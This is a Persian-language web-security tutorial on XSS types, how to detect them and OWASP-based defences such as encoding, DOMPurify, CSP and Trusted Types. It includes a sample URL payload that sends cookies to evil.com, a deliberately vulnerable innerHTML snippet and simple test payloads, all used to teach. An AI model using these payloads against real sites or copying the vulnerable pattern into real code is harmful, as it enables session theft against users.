حملات Cross-Site Scripting یا XSS یکی از قدیمیترین و در عین حال همچنان رایجترین آسیبپذیریهای امنیتی در اپلیکیشنهای وب هستند. در این آموزش با انواع حملات XSS، روشهای شناسایی آنها در کد، و مهمتر از همه، تکنیکهای عملی جلوگیری از این حملات طبق آخرین توصیههای OWASP آشنا میشویم.
پیشنیازها
- آشنایی پایه با HTML، JavaScript و نحوه کار مرورگر
- درک کلی از درخواستها و پاسخهای HTTP
- آشنایی با مفهوم کوکی و session در اپلیکیشنهای وب
XSS چیست و چرا خطرناک است؟
در حمله XSS، مهاجم کد جاوااسکریپت مخرب را طوری در صفحهای که کاربر دیگر (قربانی) بازدید میکند تزریق میکند که مرورگر آن کد را جزئی از صفحه اصلی در نظر بگیرد و اجرا کند. چون کد در همان دامنه سایت معتبر اجرا میشود، مهاجم میتواند کوکیهای session را بدزدد، درخواستهایی بهجای کاربر ارسال کند، فرمهای جعلی نمایش دهد یا کاربر را به سایتهای فیشینگ هدایت کند.
انواع حملات XSS
۱. Reflected XSS
در این نوع، ورودی مخرب مستقیماً از طریق URL یا فرم ارسال میشود و سرور بدون پاکسازی آن را در پاسخ برمیگرداند. مثال یک آدرس آسیبپذیر:
https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>اگر سرور مقدار q را بدون escape کردن در HTML خروجی چاپ کند، کد بالا اجرا میشود.
۲. Stored XSS
در این حالت، کد مخرب در دیتابیس سایت (مثلاً در یک کامنت، پروفایل کاربر یا پیام چت) ذخیره میشود و هر بار که کاربر دیگری آن صفحه را باز میکند، کد اجرا میشود. این نوع معمولاً خطرناکتر است چون قربانیان بیشتری را درگیر میکند و منبع حمله (payload ذخیرهشده در دیتابیس) بهراحتی قابل ردیابی نیست.
۳. DOM-based XSS
در این نوع، مشکل اصلاً به سمت سرور مربوط نمیشود؛ کد جاوااسکریپت سمت کلاینت است که با استفاده نادرست از APIهایی مثل innerHTML، document.write یا eval روی دادههای کنترلنشده کاربر، باعث اجرای کد مخرب در مرورگر میشود. مثال یک کد آسیبپذیر:
const params = new URLSearchParams(window.location.search);
document.getElementById('welcome').innerHTML = 'خوش آمدید ' + params.get('name');اگر کاربر مقدار name را برابر با <img src=x onerror=alert(document.cookie)> قرار دهد، این کد بدون هیچ درخواستی به سرور، در همان مرورگر اجرا میشود.
چطور آسیبپذیری XSS را در کد شناسایی کنیم؟
- بررسی دستی کد: دنبال جاهایی بگردید که ورودی کاربر (query string، فرم، هدر، کوکی) مستقیماً و بدون encode یا sanitize شدن، در HTML، جاوااسکریپت یا ویژگیهای DOM قرار میگیرد.
- جستوجوی الگوهای پرخطر: استفاده از
innerHTML،outerHTML،document.write،eval،setTimeoutبا رشته، یا رندر مستقیم HTML بدون کتابخانه sanitize، همگی نقاط مشکوک هستند. - تست دستی با payloadهای ساده: مقادیری مثل
"><script>alert(1)</script>یا<img src=x onerror=alert(1)>را در فیلدهای ورودی مختلف امتحان کنید و ببینید آیا اجرا میشوند یا نه. - استفاده از ابزارهای تخصصی: ابزارهایی مثل Burp Suite و OWASP ZAP میتوانند بهصورت خودکار پارامترهای اپلیکیشن را برای XSS اسکن کنند. برای پروژههای JavaScript هم میتوان از ابزارهایی مثل Semgrep برای اسکن الگوهای کد آسیبپذیر استفاده کرد.
روشهای جلوگیری از XSS
۱. Output Encoding بر اساس context
مهمترین اصل در دفاع در برابر XSS این است که هر دادهای که از کاربر میآید را بر اساس محلی که قرار است نمایش داده شود (HTML، ویژگی HTML، جاوااسکریپت یا URL) بهدرستی encode کنید. مثلاً کاراکترهای <، >، & و ' باید قبل از قرارگرفتن در HTML، به معادلهای امن خود تبدیل شوند.
۲. اجتناب از APIهای پرخطر
بهجای innerHTML از textContent استفاده کنید، مگر اینکه واقعاً نیاز به رندر HTML دارید. در آن صورت هم از یک کتابخانه sanitize مثل DOMPurify برای پاکسازی HTML قبل از قرار دادن آن در صفحه استفاده کنید:
import DOMPurify from 'dompurify';
const cleanHTML = DOMPurify.sanitize(userInput);
document.getElementById('content').innerHTML = cleanHTML;۳. استفاده از فریمورکهایی با escape خودکار
فریمورکهای مدرن مثل React و Vue بهطور پیشفرض دادهها را قبل از رندر escape میکنند. با این حال، استفاده از APIهایی مثل dangerouslySetInnerHTML در React یا v-html در Vue این محافظت را دور میزند و باید با احتیاط زیاد و فقط همراه با sanitize استفاده شود.
۴. تنظیم Content Security Policy (CSP)
CSP یک هدر HTTP است که به مرورگر میگوید فقط از چه منابعی اجازه اجرای اسکریپت دارد. حتی اگر مهاجم موفق به تزریق کد شود، CSP میتواند مانع اجرای آن شود. یک نمونه هدر ساده:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'نکته مهم: CSP باید بهعنوان یک لایه دفاعی اضافه در نظر گرفته شود، نه جایگزین اصلی encode و sanitize کردن ورودیها.
۵. فعالسازی Trusted Types
در مرورگرهای مبتنی بر Chromium میتوانید با افزودن دایرکتیو زیر به CSP، استفاده از APIهای پرخطر DOM مثل innerHTML را بدون عبور از یک policy امن، بهطور کامل مسدود کنید:
Content-Security-Policy: require-trusted-types-for 'script'۶. تنظیمات امن کوکی
برای کاهش تأثیر یک حمله XSS موفق روی session کاربر، کوکیهای حساس (مثل session token) را با ویژگیهای HttpOnly و Secure تنظیم کنید تا از طریق جاوااسکریپت سمت کلاینت قابل خواندن نباشند.
سوالات متداول
آیا CSP بهتنهایی برای جلوگیری از XSS کافی است؟ خیر. طبق توصیه OWASP، CSP باید در کنار output encoding و sanitize کردن ورودیها استفاده شود، نه بهجای آنها؛ پیادهسازی نادرست CSP میتواند بهراحتی دور زده شود.
بهترین ابزار برای اسکن خودکار XSS چیست؟ Burp Suite و OWASP ZAP دو ابزار شناختهشده برای تست نفوذ و شناسایی خودکار XSS در اپلیکیشنهای وب هستند.
آیا فریمورکهایی مثل React بهطور کامل در برابر XSS ایمن هستند؟
نه بهطور کامل. React و Vue بهصورت پیشفرض دادهها را escape میکنند، اما استفاده از APIهایی مثل dangerouslySetInnerHTML یا v-html همچنان میتواند اپلیکیشن را در برابر XSS آسیبپذیر کند.
جمعبندی
جلوگیری از XSS نیازمند ترکیبی از چند لایه دفاعی است: encode کردن درست خروجی بر اساس context، اجتناب از APIهای پرخطر، استفاده از کتابخانههای sanitize مثل DOMPurify، و افزودن لایههای دفاعی اضافه مثل CSP و Trusted Types. هیچکدام از این روشها بهتنهایی کافی نیستند؛ امنیت واقعی زمانی بهدست میآید که این تکنیکها در کنار هم و بهصورت مستمر در فرآیند توسعه رعایت شوند.
منابع: OWASP XSS Prevention Cheat Sheet، OWASP Content Security Policy Cheat Sheet
نظرات
برای ثبت نظر وارد شوید.